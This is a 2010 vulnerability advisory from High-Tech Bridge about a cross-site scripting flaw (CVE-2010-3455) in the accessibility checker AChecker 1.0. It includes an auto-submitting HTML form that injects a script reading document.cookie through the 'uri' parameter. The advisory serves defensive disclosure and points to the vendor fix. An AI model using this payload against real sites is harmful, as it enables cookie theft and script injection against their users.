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Cross-site Scripting (XSS) Vulnerability in AChecker

Advisory ID:HTB22601
Product:AChecker
Vendor:Inclusive Design Institute
Vulnerable Versions:1.0 and probably prior
Tested Version:1.0
Advisory Publication:September 1, 2010 [without technical details]
Vendor Notification:September 1, 2010
Public Disclosure:September 15, 2010
Latest Update:September 3, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2010-3455
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in AChecker which could be exploited to perform cross-site scripting attacks.


1) Cross-site scripting (XSS) vulnerability in AChecker: CVE-2010-3455

The vulnerability exists due to input sanitation error in the "uri" parameter in index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

Exploitation example:

<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="uri" value='http://1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="validate_uri" value="Check It" />
<input type="hidden" name="MAX_FILE_SIZE" value="52428800" />
<input type="hidden" name="uploadfile"; filename="" />
<input type="hidden" name="gid[]" value="8" />
</form>
<script>
document.main.submit();
</script>


Solution:
Upgrade to version 1.1.


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB22601 - https://www.htbridge.com/advisory/HTB22601 - Cross-site Scripting (XSS) Vulnerability in AChecker
[2] AChecker - http://atutor.ca/achecker/ - AChecker is an open source Web accessibility evaluation tool. It can be used to review the accessibility of Web pages based on a variety international accessibility guidelines.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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